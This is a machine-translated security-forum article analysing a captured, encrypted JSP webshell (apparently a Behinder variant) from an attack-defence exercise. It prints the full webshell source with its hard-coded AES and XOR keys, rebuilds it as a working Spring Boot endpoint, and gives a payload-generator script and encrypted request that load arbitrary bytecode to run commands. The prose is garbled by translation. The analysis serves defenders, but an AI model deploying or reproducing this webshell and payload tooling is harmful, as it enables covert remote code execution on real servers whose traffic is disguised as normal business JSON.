Статья впервые появилась в Сообществе наступления и защиты Цяньсинь.
https://forum.butian.net/share/1811
Во время реальной атаки и защиты пара маленьких лошадей и больших лошадей прошли через слои оборудования и, наконец, проникли в интранет. Однако в процессе взлома их недостатки были обнаружены. огромный трафик, Его откопали, но неужели это так просто? Действительно ли это то, чего мы хотим? По мере того, как вы все больше и больше расшифровываете трояны и трафик, вам становится все более не по себе...
Во время реальной атаки и защиты пара маленьких лошадей и больших лошадей прошли через слои оборудования и, наконец, проникли в интранет. Однако в процессе взлома их недостатки были обнаружены. огромный трафик, Его откопали, но неужели это так просто? Действительно ли это то, чего мы хотим? По мере того, как вы все больше и больше расшифровываете трояны и трафик, вам становится все более не по себе...
На рисунке выше показан файл Java и связанный с ним байт-код, сгенерированный после анализа Apache.
На изображении выше изображен троян, загруженный злоумышленником.
POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host:
Content-Length: 208
Заголовок сообщения имеет определенный gzip
Нам нужен тестовый класс Calc для тестирования.
package com.Test.Basic;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import java.io.IOException;import java.nio.charset.StandardCharsets;import java.util.Base64;public class Echo_Base64 { private static String parseByte2HexStr(byte[] buf){
StringBuffer sb = new StringBuffer(); for (int i = 0; i < buf.length; i++) {
String hex = Integer.toHexString(buf[i] & 0xFF); if(hex.length() ==1){
hex = '0' + hex;
}
sb.append(hex.toUpperCase());
} return sb.toString();
} public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(ByteCodeEvil.class.getName()); byte[] code = clazz.toBytecode();
String bytes = Base64.getEncoder().encodeToString(code);
System.out.println(parseByte2HexStr(code));
System.out.println(bytes);
}
}
package com.Test.Basic;import java.io.IOException;public class ByteCodeEvil { static { try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) { throw new RuntimeException(e);
}
}
}
package com.Test.Basic;class Loader extends ClassLoader { public Loader(ClassLoader loader) { super(loader);
} public Class loadClass(byte[] bytes) { return super.defineClass(bytes, 0, bytes.length);
}
}
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.zip.GZIPInputStream;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;public class AVpayloadGenerator { /**
* шифрование
*
* @param Нужен контент для шифрования
* @return
*/
public static byte[] encrypt2(byte[] byteContent) { try {
SecretKeySpec key = new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES");
Cipher cipher = Cipher.getInstance("AES");//AES/ECB/NoPadding
// byte[] byteContent = content.getBytes("utf-8");
cipher.init(Cipher.ENCRYPT_MODE, key);// инициализация
byte[] result = cipher.doFinal(byteContent); return result; // шифрование
} catch (Exception e){
e.printStackTrace();
} return null;
}/**
* Расшифровка Base64, визуальный осмотр — модифицированная база
*/
public static byte[] base64Encode(byte[] bytes) {
byte[] value = null; try { Class<?> base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
} catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = ((String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes})).getBytes();
} catch (Exception exception1) {
}
} return value;
} public static byte[] base64Decode(byte[] bytes) {
byte[] value = null; try { Class<?> base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
} catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
} catch (Exception exception1) {
}
} return value;
} /**Преобразовать двоичный код в шестнадцатеричный
* @param buf
* @return
*/
public static String parseByte2HexStr(byte buf[]) {
StringBuffer sb = new StringBuffer(); for (int i = 0; i < buf.length; i++) { String hex = Integer.toHexString(buf[i] & 0xFF); if (hex.length() == 1) {
hex = '0' + hex;
}
sb.append(hex.toUpperCase());
} return sb.toString();
} public static byte[] xor(byte[] data) {
byte[] key; int len; int keyLen; int index; int i; for (key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i <= len; ) {
index = i - 1;
data[index] = (byte) (data[index] ^ key[i % keyLen]);
i++;
} return data;
} public static void ReturnMes(String message){
byte[] bb = base64Decode(message.getBytes());
System.out.println(uncompress(xor(bb)));
} public static byte[] uncompress(byte[] bytes) { if (bytes == null || bytes.length == 0) { return null;
}
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(bytes); try {
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256]; int n; while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
} catch (Exception e) {
e.printStackTrace();
} return out.toByteArray();
} /*
* функция выполнена
* ByteCodeEvil Вредоносный класс создается в том же каталоге.
* */
public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(ByteCodeEvil.class.getName());
byte[] code = clazz.toBytecode(); //String aaa="aaa";
byte buff[];
buff = encrypt2(code); // buff = encrypt2(aaa.getBytes());
String result;
result = parseByte2HexStr(buff);
System.out.println(result);
}
}
Напишите приведенный выше сценарий самостоятельно AVpayloadGenerator.java
Это обратный скрипт, который мы используем для генерации пакетов для отправки трафика.
Этот троянец по своей природе безвреден и предположительно является ледяным скорпионом.
class Loader extends ClassLoader{ public Loader(ClassLoader loader){
super(loader);
} public Class loadClass(byte[] bytes){ return super.defineClass(bytes,0,bytes.length);
}
} public static byte[] unHex(byte[] data){int len = data.length;byte[] out = new byte[len / 2];for (int i = 0, j = 0; j < len; i++) {int f = Character.digit(data[j++], 16) << 4;f |= Character.digit(data[j++], 16);out[i] = (byte)(f & 0xFF);}return out;}public byte[] aes128(byte[] s, int mode){try{javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(mode, new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES")); return c.doFinal(s);}catch(Exception e){return null;}}public static byte[] xor(byte[] data){byte[] key=base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes());int len=data.length;int keyLen=key.length;int index=0;for(int i = 1; i <= len; i++){index=i-1;data[index] =(byte)(data[index]^key[(i%keyLen)]); }return data; }public static byte[] base64Encode(byte[] bytes){Class base64;byte[] value = null;try{base64 = Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value =(byte[])Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{ bytes });} catch(Exception e){try{base64 = Class.forName("sun.misc.BASE64Encoder");Object Encoder = base64.newInstance();value =((String)Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{ bytes })).getBytes();} catch(Exception e2){}}return value;}public static byte[] base64Decode(byte[] bytes){Class base64;byte[] value = null;try{base64 = Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value =(byte[])decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{ bytes });} catch(Exception e){try{base64 = Class.forName("sun.misc.BASE64Decoder");Object decoder = base64.newInstance();value =(byte[])decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String( bytes )});} catch(Exception e2){}}return value;} try {
byte[] buffer = new byte[102400]; java.io.ByteArrayOutputStream bufferStream = new java.io.ByteArrayOutputStream(); ServletInputStream inputStream = request.getInputStream(); int read = 0; while ((read = inputStream.read(buffer))>0){ bufferStream.write(buffer,0,read); } byte[] requestData = bufferStream.toByteArray();byte[] _requestData = new byte[requestData.length - 112];java.lang.System.arraycopy(requestData,110,_requestData,0,_requestData.length);requestData = _requestData;
requestData = unHex(requestData);requestData = aes128(requestData, 2); Class payloadClass = null; if ((payloadClass = (Class) application.getAttribute("inIT"))==null){
application.setAttribute("inIT",new Loader(getClass().getClassLoader()).loadClass(requestData));
}else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = payloadClass.newInstance();
f.equals(request);
f.equals(arrOut);
f.equals(requestData);
f.toString();
byte[] responseData = arrOut.toByteArray();
arrOut.reset();
responseData = xor(responseData);responseData = base64Encode(responseData);
arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes()));arrOut.write(responseData);arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes()));responseData = arrOut.toByteArray();response.setStatus(200);response.setHeader("Content-Type","application/json");response.getOutputStream().write(responseData);
}
}catch (Throwable e){
}
Поскольку троянец закодирован HTML-сущностями, расшифровываем его по разделам.
<jsp:declaration>
объявлять переменные
</jsp:scriptlet>
Скрипт магазина
https://www.convertstring.com/zh_CN/EncodeDecode/HtmlDecode
Давайте восстановим Java-код
class Loader extends ClassLoader{ public Loader(ClassLoader loader)
{ super(loader);
} public Class loadClass(byte[] bytes)
{ return super.defineClass(bytes, 0, bytes.length);
}
}public static byte[] unHex(byte[] data)
{ int len = data.length; byte[] out = new byte[len / 2]; for(int i = 0, j = 0; j < len; i++)
{ int f = Character.digit(data[j++], 16) << 4;
f |= Character.digit(data[j++], 16);
out[i] = (byte)(f & 0xFF);
} return out;
}public byte[] aes128(byte[] s, int mode)
{ try
{
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(mode, new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES")); return c.doFinal(s);
} catch(Exception e)
{ return null;
}
}public static byte[] xor(byte[] data)
{ byte[] key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()); int len = data.length; int keyLen = key.length; int index = 0; for(int i = 1; i <= len; i++)
{
index = i - 1;
data[index] = (byte)(data[index] ^ key[(i % keyLen)]);
} return data;
}public static byte[] base64Encode(byte[] bytes)
{
Class base64; byte[] value = null; try
{
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (byte[]) Encoder.getClass().getMethod("encode", new Class[]
{ byte[].class
}).invoke(Encoder, new Object[]
{
bytes
});
} catch(Exception e)
{ try
{
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = ((String) Encoder.getClass().getMethod("encode", new Class[]
{ byte[].class
}).invoke(Encoder, new Object[]
{
bytes
})).getBytes();
} catch(Exception e2)
{}
} return value;
}public static byte[] base64Decode(byte[] bytes)
{
Class base64; byte[] value = null; try
{
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]
{ byte[].class
}).invoke(decoder, new Object[]
{
bytes
});
} catch(Exception e)
{ try
{
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]
{
String.class
}).invoke(decoder, new Object[]
{ new String(bytes)
});
} catch(Exception e2)
{}
} return value;
}try{ byte[] buffer = new byte[102400];
java.io.ByteArrayOutputStream bufferStream = new java.io.ByteArrayOutputStream();
ServletInputStream inputStream = request.getInputStream(); int read = 0; while((read = inputStream.read(buffer)) > 0)
{
bufferStream.write(buffer, 0, read);
} byte[] requestData = bufferStream.toByteArray(); byte[] _requestData = new byte[requestData.length - 112];
java.lang.System.arraycopy(requestData, 110, _requestData, 0, _requestData.length);
requestData = _requestData;
requestData = unHex(requestData);
requestData = aes128(requestData, 2);
Class payloadClass = null; if((payloadClass = (Class) application.getAttribute("inIT")) == null)
{
application.setAttribute("inIT", new Loader(getClass().getClassLoader()).loadClass(requestData));
} else
{
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = payloadClass.newInstance();
f.equals(request);
f.equals(arrOut);
f.equals(requestData);
f.toString(); byte[] responseData = arrOut.toByteArray();
arrOut.reset();
responseData = xor(responseData);
responseData = base64Encode(responseData);
arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes()));
arrOut.write(responseData);
arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes()));
responseData = arrOut.toByteArray();
response.setStatus(200);
response.setHeader("Content-Type", "application/json");
response.getOutputStream().write(responseData);
}
}catch(Throwable e)
{}
В этом разделе кода поддельный json возвращает данные для имитации обычного бизнеса.
Сначала мы собираем его в Springboot, открываем config.class в jd-gui и имитируем открытие веб-страницы.
import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.ServletInputStream;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.ByteArrayOutputStream;import java.io.IOException;class Loader extends ClassLoader { public Loader(ClassLoader loader) { super(loader);
} public Class loadClass(byte[] bytes) { return super.defineClass(bytes, 0, bytes.length);
}
}@Controllerpublic class helloController { @RequestMapping("/index")
@ResponseBody
public String index(){ return "hello spring boot!";
} private static String parseByte2HexStr(byte[] buf){
StringBuffer sb = new StringBuffer(); for (int i = 0; i < buf.length; i++) {
String hex = Integer.toHexString(buf[i] & 0xFF); if(hex.length() ==1){
hex = '0' + hex;
}
sb.append(hex.toUpperCase());
} return sb.toString();
} public static byte[] unHex(byte[] data) { int len; byte[] out; int i; int j; for (len = data.length, out = new byte[len / 2], i = 0, j = 0; j < len; ) { int f = Character.digit(data[j++], 16) << 4;
f |= Character.digit(data[j++], 16);
out[i] = (byte) (f & 0xFF);
i++;
} return out;
} public static byte[] aes128(byte[] s, int mode) { try {
Cipher c = Cipher.getInstance("AES");
c.init(mode, new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES")); return c.doFinal(s);
} catch (Exception exception) { return null;
}
} public static byte[] xor(byte[] data) { byte[] key; int len; int keyLen; int index; int i; for (key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i <= len; ) {
index = i - 1;
data[index] = (byte) (data[index] ^ key[i % keyLen]);
i++;
} return data;
} public static byte[] base64Encode(byte[] bytes) { byte[] encrypted = null;
String str; try {
Class<?> base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
encrypted = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
} catch (Exception exception) { try {
Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
str = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
str=str.replace("\n", "").replace("\r", "");
encrypted=str.getBytes();
} catch (Exception exception1) {
}
} return encrypted;
} public static byte[] base64Decode(byte[] bytes) { byte[] value = null; try {
Class<?> base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
} catch (Exception exception) { try {
Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
} catch (Exception exception1) {
}
} return value;
} @RequestMapping("/index2")
public void hh(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { try { byte[] buffer = new byte[102400];
java.io.ByteArrayOutputStream bufferStream = new java.io.ByteArrayOutputStream();
ServletInputStream inputStream = request.getInputStream(); int read=0; while ((read = inputStream.read(buffer)) > 0) {
bufferStream.write(buffer, 0, read);
} byte[] requestData = bufferStream.toByteArray(); byte[] _requestData = new byte[requestData.length - 112];
java.lang.System.arraycopy(requestData, 110, _requestData, 0, _requestData.length);
requestData = _requestData;
requestData = unHex(requestData);
requestData = aes128(requestData, 2);
Class payloadClass = null; //System.out.println(parseByte2HexStr(requestData));
ServletContext application = request.getSession().getServletContext(); if ((payloadClass = (Class) application.getAttribute("inIT")) == null) {
application.setAttribute("inIT", (new Loader(getClass().getClassLoader())).loadClass(requestData));
} else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = payloadClass.newInstance();
f.equals(request);
f.equals(arrOut);
f.equals(requestData);
f.toString(); byte[] responseData = arrOut.toByteArray();
arrOut.reset();
responseData = xor(responseData);
responseData = base64Encode(responseData);
arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes()));
arrOut.write(responseData);
arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes()));
responseData = arrOut.toByteArray();
response.setStatus(200);
response.setHeader("Content-Type", "application/json");
response.getOutputStream().write(responseData);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
Это отличается от исходного кода, нам нужно добавить приложение
То есть
ServletContext application = request.getSession().getServletContext();
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplicationpublic class helloApplication { public static void main(String[] args) {
SpringApplication.run(helloApplication.class,args);
System.out.println("hello springboot");
}
}
Вот стартовая страница Springboot. Для сравнения мы можем получить к ней доступ, поэтому пробуем отправить пакет с помощью Burp. Сначала кратко анализируем код.
Во-первых, есть загрузчик классов, но он загружает байт-код напрямую.
unhex шестнадцатеричное декодирование
декодирование aes128,режим 2,То естьдекодирование
Данные XOR для генерации значения возвращаемой страницы.
Как мы все знаем, данные в xor дважды не изменяются. По содержимому коня восстанавливается возвращаемый пакет json.
Шифрование и дешифрование Base64 путем отражения вызова
(Этот шардинг вызовет много помех на ранних и поздних стадиях)
Вот_requestData
Впервые в jd-gui ее приняли за встроенную функцию и удалили. Однако, по данным анализа трафика, ответа при отправке пакета не последовало. срезы данных были завершены.
Давайте сначала попробуем увидеть,Без_requestData
Эффект
Мы запускаем класс Test и просматриваем сгенерированный шестнадцатеричный байт-код и базу байт-кода.
hex:CAFEBABE0000003400280A000900180A0019001A08001B0A0019001C07001D07001E0A0006001F0700200700210100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C650100047468697301001D4C636F6D2F546573742F42617369632F42797465436F64654576696C3B0100083C636C696E69743E010001650100154C6A6176612F696F2F494F457863657074696F6E3B01000D537461636B4D61705461626C6507001D01000A536F7572636546696C6501001142797465436F64654576696C2E6A6176610C000A000B0700220C0023002401000863616C632E6578650C002500260100136A6176612F696F2F494F457863657074696F6E01001A6A6176612F6C616E672F52756E74696D65457863657074696F6E0C000A002701001B636F6D2F546573742F42617369632F42797465436F64654576696C0100106A6176612F6C616E672F4F626A6563740100116A6176612F6C616E672F52756E74696D6501000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B010018284C6A6176612F6C616E672F5468726F7761626C653B29560021000800090000000000020001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000005000E0000000C000100000005000F0010000000080011000B0001000C000000660003000100000017B800021203B6000457A7000D4BBB0006592AB70007BFB1000100000009000C00050003000D000000160005000000080009000B000C0009000D000A0016000C000E0000000C0001000D000900120013000000140000000700024C0700150900010016000000020017
base:yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB1MY29tL1Rlc3QvQmFzaWMvQnl0ZUNvZGVFdmlsOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQARQnl0ZUNvZGVFdmlsLmphdmEMAAoACwcAIgwAIwAkAQAIY2FsYy5leGUMACUAJgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAnAQAbY29tL1Rlc3QvQmFzaWMvQnl0ZUNvZGVFdmlsAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAFAA4AAAAMAAEAAAAFAA8AEAAAAAgAEQALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAIAAkACwAMAAkADQAKABYADAAOAAAADAABAA0ACQASABMAAAAUAAAABwACTAcAFQkAAQAWAAAAAgAX
Получатель:поток ==》 unhex ==》 aes128 ==》Импорт байт-кода
Отправитель: байт-код ==》 aes128 ==》hex ==》Трафик
Мы запускаем AVpayloadGenerators для генерации трафика.
719EBE37D3F3B17195922E849304F1E7BD2DD0BC99103D6B3850FCB3D2DD7CA268DC0AE821D06BBBA3FBAAA6C41F5C2599C346DD8369BEE19703E1F701C0DE79BD66F0F8B1AAE0D0739C445532BBB9E4473EC73D35BC0EDA2CC311B28661D4F6D973DFFA5D6ED4CD524486F7C10BB1DBABB0A6E4AD1022A30C28B4011F8DBA4D4FC1559CDACEE0D6B78B3D2EDC4DEB6CF593F3D782325322A8F87C4FB0D63FC7C1328534174A926233D87AB9B5397071744E1499DD0EEA3C4838F22CAD592A0AC65A3E2CA922B2E5398B8DC89DFC4B0715FED440CFFC8F39C183E954DA92D80B493D0CB0B9E1D12602BFC8CDF16EE81DB57E7949ACBE4C028B6722BEA99804E0A628219641408F0049FE72B3E27DBC192C2C9AABBB70B77CD6F58E9750A823EB12C35D35CF741BA03558FE089EC30A803580860207B672476ED3797CF8850D47590D75D4D702C4D7AB7375189987D9603BC224A3EC9B46131321019CB99A6B559EC22196C7E2D80E4F7EF60E16006C1CD45FDE13392774DBA8DA3D1EFD26E2DC960C6D0758EA0B44FB9DAA4355FA1D2A5E8133F8456101FE4A465A9967345189BCFAD7F7CED591DE5039BFAEFF55C99CCA8EBD58244D3CBD9514E1A25BC483D43423A47653D63D8AD018E94418C0A032A472A8649DF04BF1782AA7AD9902F2C48DC6466390D87693E85B0940CE5C3FE508A8F477BA1C74F557F2B545155EE29727781647FEFF896CF8A4C50D2FDA5223A3AE41819120237000EAE056DFBB7882E96B0A4924642E9EBD65E579A4BA134CC069E94D81A943AFCD12D529FB3D747F0E4497640E4D8BB95466C1F582D85621A255D6643EC0430BC08AA4445E07FBD2FD2524410198D7816601F63A7C1EA2576A08E76F7304B6C0405F4D006B0F166DF8C858BC18AA38B3BE71978BFE1A93C32D99099BF984C4860F04BC09FB0E76FE5BA0B1F25C9C3607E744F60257324EF3A0CC21000232B34BF6F05508C0FF66B738DBB1AD4A784D45AA954E7DB21A63D8
Отправляем зашифрованный байт-код на index2. После его двойной отправки всплывает калькулятор, сообщающий, что байт-код успешно загружен.
Затем мы открываем _requestData
Мы обнаружили, что это больше не работает
Давайте проверим это. Код разделяет передаваемые данные.
{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":""}
Мы проверяем пакет трафика, и другая сторона использует этот json для имитации обычного бизнеса и передачи данных.
POST /index2 HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 127.0.0.1:8080Content-Length: 1552{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"719EBE37D3F3B17195922E849304F1E7BD2DD0BC99103D6B3850FCB3D2DD7CA268DC0AE821D06BBBA3FBAAA6C41F5C2599C346DD8369BEE19703E1F701C0DE79BD66F0F8B1AAE0D0739C445532BBB9E4473EC73D35BC0EDA2CC311B28661D4F6D973DFFA5D6ED4CD524486F7C10BB1DBABB0A6E4AD1022A30C28B4011F8DBA4D4FC1559CDACEE0D6B78B3D2EDC4DEB6CF593F3D782325322A8F87C4FB0D63FC7C1328534174A926233D87AB9B5397071744E1499DD0EEA3C4838F22CAD592A0AC65A3E2CA922B2E5398B8DC89DFC4B0715FED440CFFC8F39C183E954DA92D80B493D0CB0B9E1D12602BFC8CDF16EE81DB57E7949ACBE4C028B6722BEA99804E0A628219641408F0049FE72B3E27DBC192C2C9AABBB70B77CD6F58E9750A823EB12C35D35CF741BA03558FE089EC30A803580860207B672476ED3797CF8850D47590D75D4D702C4D7AB7375189987D9603BC224A3EC9B46131321019CB99A6B559EC22196C7E2D80E4F7EF60E16006C1CD45FDE13392774DBA8DA3D1EFD26E2DC960C6D0758EA0B44FB9DAA4355FA1D2A5E8133F8456101FE4A465A9967345189BCFAD7F7CED591DE5039BFAEFF55C99CCA8EBD58244D3CBD9514E1A25BC483D43423A47653D63D8AD018E94418C0A032A472A8649DF04BF1782AA7AD9902F2C48DC6466390D87693E85B0940CE5C3FE508A8F477BA1C74F557F2B545155EE29727781647FEFF896CF8A4C50D2FDA5223A3AE41819120237000EAE056DFBB7882E96B0A4924642E9EBD65E579A4BA134CC069E94D81A943AFCD12D529FB3D747F0E4497640E4D8BB95466C1F582D85621A255D6643EC0430BC08AA4445E07FBD2FD2524410198D7816601F63A7C1EA2576A08E76F7304B6C0405F4D006B0F166DF8C858BC18AA38B3BE71978BFE1A93C32D99099BF984C4860F04BC09FB0E76FE5BA0B1F25C9C3607E744F60257324EF3A0CC21000232B34BF6F05508C0FF66B738DBB1AD4A784D45AA954E7DB21A63D8"}
Мы видим, что возвращаемое значение — это относительно хорошо замаскированное сообщение.
На этом этапе анализа я думал, что анализ завершен, но когда мы продолжили проверку пакетов трафика, мы обнаружили, что все не так просто. Когда мы повторно расшифровали его трафик, то само собой разумеется, что это может быть. декодируется нормально, а возвращаемое значение должно быть. Большой разницы нет, но на самом деле декодированный код - это не класс, а искаженный код.
POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host:
